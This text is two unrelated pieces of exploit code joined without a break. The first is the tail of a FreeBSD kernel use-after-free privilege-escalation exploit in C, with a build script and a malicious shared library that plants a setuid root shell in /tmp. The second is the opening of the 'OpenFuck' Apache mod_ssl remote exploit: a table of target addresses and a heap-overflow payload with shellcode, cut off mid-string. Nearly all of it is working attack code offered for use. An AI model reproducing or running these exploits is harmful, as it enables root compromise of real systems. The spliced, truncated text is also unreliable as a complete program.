    cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
    cmh->cmsg_level = SOL_SOCKET;
    cmh->cmsg_type = SCM_RIGHTS;
    fds = (int *)CMSG_DATA(cmsg);
    for (i = 0; i < n_fds; i++) {
	fds[i] = fd;
    }

    ret = sendmsg(sv[0], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    iov.iov_base = buf;
    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmh;
    msg.msg_controllen = CMSG_SPACE(0);
    msg.msg_flags = 0;

    ret = recvmsg(sv[1], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    return 0;
}

int open_tmp(char *path)
{
    int fd;
    char *real_path;

    if (path != NULL) {
	real_path = malloc(strlen(path) + 1);
	strcpy(real_path, path);
    }
    else {
	real_path = malloc(strlen(DEFAULT_PATH) + 1);
	strcpy(real_path, DEFAULT_PATH);
    }

    if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
	perror("[!] open");
	exit(1);
    }

    fchmod(fd, 0700);
    
    return fd;
}

void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}

int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    if (bind(server_socket, 
	     (struct sockaddr *) remote, 
	     sizeof(struct sockaddr_un)) != 0) {
	perror("[!] bind");
	exit(1);
    }

    return server_socket;
}

int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    return client_socket;
}

// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
    send_recv(fd, sv, 0xfe);
}

int stick_thread_to_core(int core) {
    /* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
    /* if (core_id < 0 || core_id >= num_cores) */
    /* 	return EINVAL; */    
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();    
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}

void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;

    if (stick_thread_to_core(CORE_0) != 0) {
	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;

    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);
    
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);

    usleep(40);
    
    // Close to fds to trigger uaf
    //
    // This assumes that fget_write() in kern_writev()
    // was already successful!
    //
    // Otherwise kernel panic is triggered
    //
    // refcount = 2 (primitive+fget_write)
    close(fd);
    close(fd2);
    // refcount = 0 => free
    fd = open(ATTACK_PATH, O_RDONLY);
    // refcount = 1

    printf("[+] trigger_uaf: Opened read-only file, now hope\n");	
    printf("[+] trigger_uaf: Exit\n");
    
    pthread_exit(NULL);
}

void *hammer(void *arg) {
    int i, j, k, client_socket, ret;
    char buf[FILE_SIZE], sync_buf[3];
    FILE *fd[N_FILES];
    struct sockaddr_un remote;

    prepare_domain_socket(&remote, SERVER_PATH);
    client_socket = connect_domain_socket_client();
    strncpy(sync_buf, "1\n", 3);
    
    for (i = 0; i < N_FILES; i++) {
	unlink(HAMMER_PATH);
	if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
	    perror("[!] fopen");
	    exit(1);
	}
    }
    
    for (i = 0; i < FILE_SIZE; i++) {
    	buf[i] = 'a';
    }

    pthread_mutex_lock(&hammer_mtx);

    // Sometimes sendto() fails because
    // no free buffer is available
    for (;;) {
	if (sendto(client_socket,
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &remote,
		   sizeof(remote)) != -1) {
	    break;
	}
    }
    
    pthread_cond_wait(&hammer_cond, &hammer_mtx);
    pthread_mutex_unlock(&hammer_mtx);
    
    for (i = 0; i < N; i++) {
	for (k = 0; k < N_FILES; k++) {
	    rewind(fd[k]);   
	}
	for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
	    for (k = 0; k < N_FILES; k++) {
		if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
		    perror("[!] fwrite");
		    exit(1);
		}
	    }
	    fflush(NULL);
	}
    }
    
    pthread_exit(NULL);
}

// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
    int hidirtybuffers, numdirtybuffers;
    size_t len;

    len = sizeof(int);
    
    if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
	perror("[!] sysctlbyname hidirtybuffers");
	exit(1);
    };
    printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);

    while(1) {
	sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
	if (numdirtybuffers >= hidirtybuffers) {
	    pthread_cond_signal(&write_cond);
	    pthread_cond_signal(&trigger_cond);		    
	    printf("[+] monitor: Reached hidirtybuffers watermark\n");
	    break;
	}
    }
    
    pthread_exit(NULL);
}

int check_write(int fd) {
    char buf[256];
    int nbytes;
    struct stat st;

    printf("[+] check_write\n");
    stat(DEFAULT_PATH, &st);
    printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);

    stat(ATTACK_PATH, &st);
    printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
        
    nbytes = read(fd, buf, strlen(HOOK_LIB));
    printf("[+] Read bytes: %d\n", nbytes);
    if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
	return 1;
    }
    else if (nbytes < 0) {
	perror("[!] check_write:read");
	printf("[!] check_write:Cannot check if it worked!");
	return 1;
    }
    
    return 0;
}

void *write_to_file(void *thread_args) {
    int fd, fd2, nbytes;
    int *fd_ptr;
    char buf[256];
    struct thread_data *thread_data;

    if (stick_thread_to_core(CORE_1) != 0) {
	perror("[!] write_to_file: Could not stick thread to core");
    }
    
    fd_ptr = (int *) malloc(sizeof(int));
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = open(ATTACK_PATH, O_RDONLY);

    printf("[+] write_to_file: Wait for signal from monitor\n");	
    pthread_mutex_lock(&write_mtx);
    pthread_cond_wait(&write_cond, &write_mtx);

    snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
    nbytes = write(fd, buf, strlen(buf));

    // Reopen directly after write to prevent panic later
    //
    // After the write f_count == 0 because after trigger_uaf()
    // opened the read-only file, f_count == 1 and write()
    // calls fdrop() at the end
    //
    // => f_count == 0
    //
    // A direct open hopefully assigns the now again free file
    // object to fd so that we can prevent the panic with our
    // increment primitive.
    if ((fd = open_tmp(NULL)) == -1)
	perror("[!] write_to_file: open_tmp");
    *fd_ptr = fd;
    
    if (nbytes < 0) {
	perror("[!] [!] write_to_file:write");
    } else if (nbytes > 0) {
	printf("[+] write_to_file: We have written something...\n");
	if (check_write(fd2) > 0)
	    printf("[+] write_to_file: It (probably) worked!\n");
	else
	    printf("[!] write_to_file: It worked not :(\n");
    }

    printf("[+] write_to_file: Exit\n");
    pthread_exit(fd_ptr);
}

void prepare(int sv[2], int fds[2]) {
    int fd, fd2, i;

    printf("[+] Start UaF preparation\n");
    printf("[+] This can take a while\n");
	
    // Get a single file descriptor to send via the socket
    if ((fd = open_tmp(NULL)) == -1) {
    	perror("[!] open_tmp");
    	exit(1);
    }
    
    if ((fd2 = dup(fd)) == -1) {
	perror("[!] dup");
	exit(1);
    }
    
    // fp->f_count will increment by 0xfe in one iteration
    // doing this 16909320 times will lead to
    // f_count = 16909320 * 0xfe + 2 = 0xfffffff2
    // Note the 2 because of the former call of dup() and
    // the first open().
    //
    // To test our trigger we can send 0xd more fd's what
    // would to an f_count of 0 when fdclose() is called in
    // m_dispose_extcontrolm. fdrop() will reduce f_count to
    // 0xffffffff = -1 and ultimately panic when _fdrop() is
    // called because the latter asserts that f_count is 0.
    // _fdrop is called in the first place because
    // refcount_release() only checks that f_count is less or
    // equal 1 to recognize the last reference.
    //
    // If we want to trigger the free without panic, we have
    // to send 0xf fds and close an own what will lead to an
    // fdrop() call without panic as f_count is 1 and reduced
    // to 0 by close(). The unclosed descriptor references now
    // a free 'struct file'.
    for (i = 0; i < 16909320; i++) {
    	if (i % 1690930 == 0) {
    	    printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
    	}
	
        if (send_recv(fd, sv, N_FDS)) {
    	    perror("[!] prepare:send_recv");
    	    exit(1);
    	}
    }
    if (send_recv(fd, sv, 0xf)) {
    	perror("[!] prepare:send_recv");
    	exit(1);
    }
    
    fds[0] = fd;
    fds[1] = fd2;

    printf("[+] Finished UaF preparation\n");
}

void read_thread_status(int server_socket) {
    int bytes_rec, count;
    struct sockaddr_un client;
    socklen_t len;
    char buf[256];
    struct timeval tv;
    
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    setsockopt(server_socket,
	       SOL_SOCKET, SO_RCVTIMEO,
	       (const char*)&tv, sizeof tv);
    
    for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
	if (count % 100 == 0) {
	    printf("[+] Hammer threads ready: %d\n", count);
	}
	bzero(&client, sizeof(struct sockaddr_un));
	bzero(buf, 256);
	
	len = sizeof(struct sockaddr_un);
	if ((bytes_rec = recvfrom(server_socket,
				  buf, 256, 0,
				  (struct sockaddr *) &client,
				  &len)) == -1) {
	    perror("[!] recvfrom");
	    break;
	}
    }

    if (count != NUM_FORKS * NUM_THREADS) {
	printf("[!] Could not create all hammer threads, will try though!\n");
    }
}

void fire() {
    int i, j, fd, fd2, bytes_rec, server_socket;
    int sv[2], fds[2], hammer_socket[NUM_FORKS];
    int *fd_ptr;
    char socket_path[256], sync_buf[3], buf[256];
    pthread_t write_thread, trigger_thread, monitor_thread;
    pthread_t hammer_threads[NUM_THREADS];
    pid_t pids[NUM_FORKS];
    socklen_t len;
    struct thread_data thread_data;
    struct sockaddr_un server, client;
    struct sockaddr_un hammer_socket_addr[NUM_FORKS];

    // Socket for receiving thread status
    unlink(SERVER_PATH);
    prepare_domain_socket(&server, SERVER_PATH);
    server_socket = bind_domain_socket(&server);

    // Sockets to receive hammer signal
    for (i = 0; i < NUM_FORKS; i++) {
	snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
	unlink(socket_path);
	prepare_domain_socket(&hammer_socket_addr[i], socket_path);
	hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
    }

    strncpy(sync_buf, "1\n", 3);
    len = sizeof(struct sockaddr_un);
    
    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
	perror("[!] socketpair");
	exit(1);
    }
        
    pthread_mutex_init(&write_mtx, NULL);
    pthread_mutex_init(&trigger_mtx, NULL);
    pthread_cond_init(&write_cond, NULL);
    pthread_cond_init(&trigger_cond, NULL);

    pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);

    prepare(sv, fds);
    fd = fds[0];
    fd2 = fds[1];

    thread_data.fd = fd;
    thread_data.fd2 = fd2;
    pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
    pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
    
    for (j = 0; j < NUM_FORKS; j++) {
	if ((pids[j] = fork()) < 0) {
	    perror("[!] fork");
	    abort();
	}
	else if (pids[j] == 0) {
	    pthread_mutex_init(&hammer_mtx, NULL);
	    pthread_cond_init(&hammer_cond, NULL);
	    
	    close(fd);
	    close(fd2);

	    /* Prevent that a file stream in the hammer threads
             * gets the file descriptor of fd for debugging purposes
	     */
	    if ((fd = open_tmp("/tmp/dummy")) == -1)
		perror("[!] dummy");
	    if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
		perror("[!] dummy2");
	    printf("[+] Fork %d fd: %d\n", j, fd);
	    printf("[+] Fork %d fd2: %d\n", j, fd2);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_create(&hammer_threads[i], NULL, hammer, NULL);
	    }

	    printf("[+] Fork %d created all threads\n", j);
	    
	    if ((bytes_rec = recvfrom(hammer_socket[j],
				      buf, 256, 0,
				      (struct sockaddr *) &client,
				      &len)) == -1) {
		perror("[!] accept");
		abort();
	    }

	    pthread_cond_broadcast(&hammer_cond);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_join(hammer_threads[i], NULL);
	    }

	    pthread_cond_destroy(&hammer_cond);
	    pthread_mutex_destroy(&hammer_mtx);

	    exit(0);
	} else {
	    printf("[+] Created child with PID %d\n", pids[j]);	    
	}
    }    

    read_thread_status(server_socket);
    printf("[+] Send signal to Start Hammering\n");
    for (i = 0; i < NUM_FORKS; i++) {
	if (sendto(hammer_socket[i],
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &hammer_socket_addr[i],
		   sizeof(hammer_socket_addr[0])) == -1) {
	    perror("[!] sendto");
	    exit(1);
	}
    }
        
    pthread_join(monitor_thread, NULL);
    for (i = 0; i < NUM_FORKS; i++) {
	kill(pids[i], SIGKILL);
	printf("[+] Killed %d\n", pids[i]);
    }

    pthread_join(write_thread, (void **) &fd_ptr);    
    pthread_join(trigger_thread, NULL);
    
    pthread_mutex_destroy(&write_mtx);
    pthread_mutex_destroy(&trigger_mtx);
    pthread_cond_destroy(&write_cond);
    pthread_cond_destroy(&trigger_cond);

    printf("[+] Returned fd: %d\n", *fd_ptr);
    prevent_panic(sv, *fd_ptr);

    // fd was acquired from write_to_file
    // which allocs a pointer for it
    free(fd_ptr);
}

int main(int argc, char **argv)
{
    setbuf(stdout, NULL);
    
    fire();

    return 0;
}

EOF

cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c

cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid())
    execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}

EOF

cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su

if [ -f /tmp/xxxx ]; then
    echo "[+] Enjoy!"
    echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
    /tmp/xxxx
else
    echo "[!] FAIL"
fi
            
/*
 * OF version r00t VERY PRIV8 spabam
 * Version: v3.0.4 
 * Requirements: libssl-dev    ( apt-get install libssl-dev )
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 * Note: if required, host ptrace and replace wget target
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

/* update this if you add architectures */
#define MAX_ARCH 138

struct archs {
	char* desc;
	int func_addr;	/* objdump -R /usr/sbin/httpd | grep free */
} architectures[] = {

{"Caldera OpenLinux (apache-1.3.26)",0x080920e0},
{"Cobalt Sun 6.0 (apache-1.3.12)",0x8120f0c},
{"Cobalt Sun 6.0 (apache-1.3.20)",0x811dcb8},
{"Cobalt Sun x (apache-1.3.26)",0x8123ac3},
{"Cobalt Sun x Fixed2 (apache-1.3.26)",0x81233c3},
{"Conectiva 4 (apache-1.3.6)",0x08075398},
{"Conectiva 4.1 (apache-1.3.9)",0x0808f2fe},
{"Conectiva 6 (apache-1.3.14)",0x0809222c},
{"Conectiva 7 (apache-1.3.12)",0x0808f874},
{"Conectiva 7 (apache-1.3.19)",0x08088aa0},
{"Conectiva 7/8 (apache-1.3.26)",0x0808e628},
{"Conectiva 8 (apache-1.3.22)",0x0808b2d0},
{"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",0x08095264},
{"Debian GNU Linux (apache_1.3.19-1)",0x080966fc},
{"Debian GNU Linux (apache_1.3.22-2)",0x08096aac},
{"Debian GNU Linux (apache-1.3.22-2.1)",0x08083828},
{"Debian GNU Linux (apache-1.3.22-5)",0x08083728},
{"Debian GNU Linux (apache_1.3.23-1)",0x08085de8},
{"Debian GNU Linux (apache_1.3.24-2.1)",0x08087d08},
{"Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",0x080873ac},
{"Debian GNU Linux (apache_1.3.24-3)",0x08087d68},
{"Debian GNU Linux (apache-1.3.26-1)",0x0080863c4},
{"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",0x080863cc},
{"Debian GNU Linux (apache-1.3.27)",0x0080866a3},
{"FreeBSD (apache-1.3.9)", 0xbfbfde00},
{"FreeBSD (apache-1.3.11)",0x080a2ea8},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7f58},
{"FreeBSD (apache-1.3.12.1.40)",0x080a0ec0},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7e7c},
{"FreeBSD (apache-1.3.12.1.40_1)",0x080a7f18},
{"FreeBSD (apache-1.3.12)",0x0809bd7c},
{"FreeBSD (apache-1.3.14)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.14)",0x080ab68c},
{"FreeBSD (apache-1.3.14)",0x0808c76c},
{"FreeBSD (apache-1.3.14)",0x080a3fc8},
{"FreeBSD (apache-1.3.14)",0x080ab6d8},
{"FreeBSD (apache-1.3.17_1)",0x0808820c},
{"FreeBSD (apache-1.3.19)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.19_1)",0x0808c96c},
{"FreeBSD (apache-1.3.20)",0x0808cb70},
{"FreeBSD (apache-1.3.20)", 0xbfbfc000},
{"FreeBSD (apache-1.3.20+2.8.4)",0x0808faf8},
{"FreeBSD (apache-1.3.20_1)",0x0808dfb4},
{"FreeBSD (apache-1.3.22)", 0xbfbfc000},
{"FreeBSD (apache-1.3.22_7)",0x0808d110},
{"FreeBSD (apache_fp-1.3.23)",0x0807c5f8},
{"FreeBSD (apache-1.3.24_7)",0x0808f8b0},
{"FreeBSD (apache-1.3.24+2.8.8)",0x080927f8},
{"FreeBSD 4.6.2-Release-p6 (apache-1.3.26)",0x080c432c},
{"FreeBSD 4.6-Realease (apache-1.3.26)",0x0808fdec},
{"FreeBSD (apache-1.3.27)",0x080902e4},
{"Gentoo Linux (apache-1.3.24-r2)",0x08086c34},
{"Linux Generic (apache-1.3.14)",0xbffff500},
{"Mandrake Linux X.x (apache-1.3.22-10.1mdk)",0x080808ab},
{"Mandrake Linux 7.1 (apache-1.3.14-2)",0x0809f6c4},
{"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",0x0809d233},
{"Mandrake Linux 7.2 (apache-1.3.14-2mdk)",0x0809f6ef},
{"Mandrake Linux 7.2 (apache-1.3.14) 2",0x0809d6c4},
{"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",0x0809ccde},
{"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",0x0809ce14},
{"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",0x0809d262},
{"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",0x08083545},
{"Mandrake Linux 8.0 (apache-1.3.19-3)",0x0809ea98},
{"Mandrake Linux 8.1 (apache-1.3.20-3)",0x0809e97c},
{"Mandrake Linux 8.2 (apache-1.3.23-4)",0x08086580},
{"Mandrake Linux 8.2 #2 (apache-1.3.23-4)",0x08086484},
{"Mandrake Linux 8.2 (apache-1.3.24)",0x08086665},
{"Mandrake Linux 9 (apache-1.3.26)",0x0808b864},
{"RedHat Linux ?.? GENERIC (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST1 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST2 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",0x080d2c35},
{"RedHat Linux 4.2 (apache-1.1.3-3)",0x08065bae},
{"RedHat Linux 5.0 (apache-1.2.4-4)",0x0808c82c},
{"RedHat Linux 5.1-Update (apache-1.2.6)",0x08092a45},
{"RedHat Linux 5.1 (apache-1.2.6-4)",0x08092c2d},
{"RedHat Linux 5.2 (apache-1.3.3-1)",0x0806f049},
{"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",0x0808e4d8},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707ec},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707f9},
{"RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",0x0808fd52},
{"RedHat Linux 6.0 Update (apache-1.3.24)",0x80acd58},
{"RedHat Linux 6.1 (apache-1.3.9-4)1",0x0808ccc4},
{"RedHat Linux 6.1 (apache-1.3.9-4)2",0x0808ccdc},
{"RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",0x0808fd5d},
{"RedHat Linux 6.1-fp2000 (apache-1.3.26)",0x082e6fcd},
{"RedHat Linux 6.2 (apache-1.3.12-2)1",0x0808f689},
{"RedHat Linux 6.2 (apache-1.3.12-2)2",0x0808f614},
{"RedHat Linux 6.2 mod(apache-1.3.12-2)3",0xbffff94c},
{"RedHat Linux 6.2 update (apache-1.3.22-5.6)1",0x0808f9ec},
{"RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",0x0808f9d4},
{"Redhat Linux 7.x (apache-1.3.22)",0x0808400c},
{"RedHat Linux 7.x (apache-1.3.26-1)",0x080873bc},
{"RedHat Linux 7.x (apache-1.3.27)",0x08087221},
{"RedHat Linux 7.0 (apache-1.3.12-25)1",0x0809251c},
{"RedHat Linux 7.0 (apache-1.3.12-25)2",0x0809252d},
{"RedHat Linux 7.0 (apache-1.3.14-2)",0x08092b98},
{"RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",0x08084358},
{"RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",0x08086e41},
{"RedHat Linux 7.1 (apache-1.3.19-5)1",0x0809af8c},
{"RedHat Linux 7.1 (apache-1.3.19-5)2",0x0809afd9},
{"RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.1-Update (1.3.22-5.7.1)",0x08084389},
{"RedHat Linux 7.1 (apache-1.3.22-src)",0x0816021c},
{"RedHat Linux 7.1-Update (1.3.27-1.7.1)",0x08086ec89},
{"RedHat Linux 7.2 (apache-1.3.20-16)1",0x080994e5},
{"RedHat Linux 7.2 (apache-1.3.20-16)2",0x080994d4},
{"RedHat Linux 7.2-Update (apache-1.3.22-6)",0x08084045},
{"RedHat Linux 7.2 (apache-1.3.24)",0x80b0938},
{"RedHat Linux 7.2 (apache-1.3.26)",0x08161c16},
{"RedHat Linux 7.2 (apache-1.3.26-snc)",0x8161c14},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",0x08269950},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",0x08269988},
{"RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",0x08086af9},
{"RedHat Linux 7.3 (apache-1.3.23-11)1",0x0808528c},
{"RedHat Linux 7.3 (apache-1.3.23-11)2",0x0808525f},
{"RedHat Linux 7.3 (apache-1.3.27)",0x080862e4},
{"RedHat Linux 8.0 (apache-1.3.27)",0x08084c1c},
{"RedHat Linux 8.0-second (apache-1.3.27)",0x0808151e},
{"RedHat Linux 8.0 (apache-2.0.40)",0x08092fa4},
{"Slackware Linux 4.0 (apache-1.3.6)",0x08088130},
{"Slackware Linux 7.0 (apache-1.3.9)",0x080a7fc0},
{"Slackware Linux 7.0 (apache-1.3.26)",0x083d37fc},
{"Slackware 7.0  (apache-1.3.26)2",0x083d2232},
{"Slackware Linux 7.1 (apache-1.3.12)",0x080a86a4},
{"Slackware Linux 8.0 (apache-1.3.20)",0x080ae67c},
{"Slackware Linux 8.1 (apache-1.3.24)",0x080b0c60},
{"Slackware Linux 8.1 (apache-1.3.26)",0x080b2100},
{"Slackware Linux 8.1-stable (apache-1.3.26)",0x080b0c60},
{"Slackware Linux (apache-1.3.27)",0x080b1a3a},
{"SuSE Linux 7.0 (apache-1.3.12)",0x0809f54c},
{"SuSE Linux 7.1 (apache-1.3.17)",0x08099984},
{"SuSE Linux 7.2 (apache-1.3.19)",0x08099ec8},
{"SuSE Linux 7.3 (apache-1.3.20)",0x08099da8},
{"SuSE Linux 8.0 (apache-1.3.23)",0x08086168},
{"SUSE Linux 8.0 (apache-1.3.23-120)",0x080861c8},
{"SuSE Linux 8.0 (apache-1.3.23-137)",0x080861c8},
/* this one unchecked cause require differend shellcode */
{"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",0xfd42630},

};

extern int errno;

int cipher;
int ciphers;

/* the offset of the local port from be beginning of the overwrite next chunk buffer */
#define FINDSCKPORTOFS     208 + 12 + 46

unsigned char overwrite_session_id_length[] =
	"AAAA"								/* int master key length; */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL MAX MASTER KEY LENGTH];	*/
	"\x70\x00\x00\x00";					/* unsigned int session id length; */

unsigned char overwrite_next_chunk[] =
	"AAAA"								/* int master key length; */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL MAX MASTER KEY LENGTH];	*/
	"AAAA"								/* unsigned int session id length; */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
	"AAAA"								/* unsigned int sid ctx length; */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
	"AAAA"								/* int not resumable; */
	"\x00\x00\x00\x00"					/* struct sess cert st *sess cert; */
	"\x00\x00\x00\x00"					/* X509 *peer; */
	"AAAA"								/* long verify result; */
	"\x01\x00\x00\x00"					/* int references; */
	"AAAA"								/* int timeout; */
	"AAAA"								/* int time */
	"AAAA"								/* int compress meth; */
	"\x00\x00\x00\x00"					/* SSL CIPHER *cipher; */
	"AAAA"								/* unsigned long cipher id; */
	"\x00\x00\x00\x00"					/* STACK OF(SSL CIPHER) *ciphers; */
	"\x00\x00\x00\x00\x00\x00\x00\x00"	/* CRYPTO EX DATA ex data; */
	"AAAAAAAA"							/* struct ssl session st *prev,*next; */

	"\x00\x00\x00\x00"					/* Size of previous chunk */
	"\x11\x00\x00\x00"					/* Size of chunk, in bytes */
	"fdfd"								/* Forward and back pointers */
	"bkbk"
	"\x10\x00\x00\x00"					/* Size of previous chunk */
	"\x10\x00\x00\x00"					/* Size of chunk, PREV INUSE is set */

/* shellcode start */
    "\xeb\x0a\x90\x90"	/* jump 10 bytes ahead, land at shellcode */
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"	/* this is overwritten with FD by the unlink macro */

/* 72 bytes findsckcode by LSD-pl */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
    "\xb3\x10"             /* movb    $0x10,%bl              */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x89\x0f"             /* movl    %ecx,(%edi)            */
    "\x51"                 /* pushl   %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x66"             /* movb    $0x66,%al              */
    "\xb3\x07"             /* movb    $0x07,%bl              */
    "\x89\xf9"             /* movl    %edi,%ecx              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x39\xd8"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <findsckcode+54>       */
    "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
    "\x74\x02"             /* je      <findsckcode+56>       */
    "\xe2\xe0"             /* loop    <findsckcode+24>       */
    "\x89\xcb"             /* movl    %ecx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
